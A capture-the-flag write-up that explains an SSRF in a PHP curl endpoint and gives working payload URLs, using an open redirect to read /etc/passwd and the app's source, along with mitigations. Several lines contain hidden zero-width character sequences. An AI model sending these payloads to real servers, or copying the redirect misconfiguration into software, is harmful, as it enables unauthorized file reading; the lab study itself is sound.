← Back to Writeups
CUSTOMMediumWeb

Curl

XESXOR9/10/20262 min read
#web#custom#medium#ssrf_via_redirect#protocol_bypass_via_open_redir#curl_misconfiguration_exploit#local_file_read

Curl

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: ssrf_via_redirect, protocol_bypass_via_open_redirect, curl_misconfiguration_exploit, local_file_read

Summary

Walkthrough of the CUSTOM Web Curl. Web application at https://advweb2.spb.ctf.su/ that accepts a url GET parameter and fetches the given URL using PHP curl. Returns the message "USE {GET: url} to get headers of url" when accessed wit

Description

Web application at https://advweb2.spb.ctf.su/ that accepts a url GET parameter and fetches the given URL using PHP curl. Returns the message "USE {GET: url} to get headers of url" when accessed without parameters.

Analysis

Initial Reconnaissance

  • Main page hint: "USE {GET: url} to get headers of url"
  • Response headers: Server: nginx/1.18.0 (Ubuntu) (reverse proxy), Content-Type: text/text;charset=UTF-8
  • Testing ?url=http://example.com — successfully fetched full body (not just headers as described) ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

SSRF Discovery

  • ?url=http://127.0.0.1/ — worked, returned the app itself. Revealed internal Server: Apache/2.4.18 (Ubuntu)
  • ?url=file:///etc/passwd — blocked with "ONLY HTTP(s) REQUESTS!" (protocol validation)
  • ?url=gopher://... and ?url=dict://... — also blocked
  • Error messages showed PHP's string(60) format from var_dump(), confirming PHP + curl_exec
  • ?url=http://127.0.0.1/server-status — Apache server-status accessible, revealed internal IP 10.111.3.22

Vulnerability Analysis

The application validates URL scheme with preg_match("#^(https?)://#is", ...) but has a critical misconfiguration:

  • CURLOPT_FOLLOWLOCATION => true — follows redirects
  • CURLOPT_PROTOCOLS => CURLPROTO_ALL — all protocols allowed
  • CURLOPT_REDIR_PROTOCOLS => CURLPROTO_ALL — all protocols allowed after redirect ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

This means while the initial URL must be HTTP/HTTPS, curl will follow redirects to ANY protocol including file://.

Solution

Step 1: Protocol Check Bypass via Open Redirect

Used httpbin.org's open redirect endpoint to bypass the protocol check:

https://advweb2.spb.ctf.su/?url=http://httpbin.org/redirect-to?url=file:///etc/passwd

This worked! curl followed the HTTP 302 redirect to file:///etc/passwd and returned the file contents.

Step 2: Source Code Leak & Flag

Read the PHP source code: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

https://advweb2.spb.ctf.su/?url=http://httpbin.org/redirect-to?url=file:///var/www/html/index.php

Full PHP Source Code Retrieved:

php
<?php
ini_set("display_errors", true);
error_reporting(E_ALL);
$flag = "REDACTED";
header("Content-Type: text/text");

if (!isset($_GET['url'])) {
    exit("USE {GET: url} to get headers of url");
}
if (!preg_match("#^(https?)://#is", $_GET['url']))
    exit("ONLY HTTP(s) REQUESTS!");
$ch = curl_init($_GET['url']);
curl_setopt_array($ch, [
    CURLOPT_HEADER => true,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_PROTOCOLS => CURLPROTO_ALL,
    CURLOPT_REDIR_PROTOCOLS => CURLPROTO_ALL
]);
$result = curl_exec($ch);
if (!$result) {
    var_dump(curl_error($ch));
    exit();
}
print(explode(...));

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

The flag was hardcoded in the source: $flag = "REDACTED";

Mitigation

To fix this vulnerability:

  1. Set CURLOPT_REDIR_PROTOCOLS to only allow HTTP/HTTPS: CURLOPT_REDIR_PROTOCOLS => CURLPROTO_HTTP | CURLPROTO_HTTPS
  2. Or disable redirects entirely: CURLOPT_FOLLOWLOCATION => false
  3. Validate the final URL after all redirects, not just the initial one ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering ssrf_via_redirect, protocol_bypass_via_open_redirect, curl_misconfiguration_exploit, local_file_read was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-03-15 • CUSTOM • Curl • Difficulty: Medium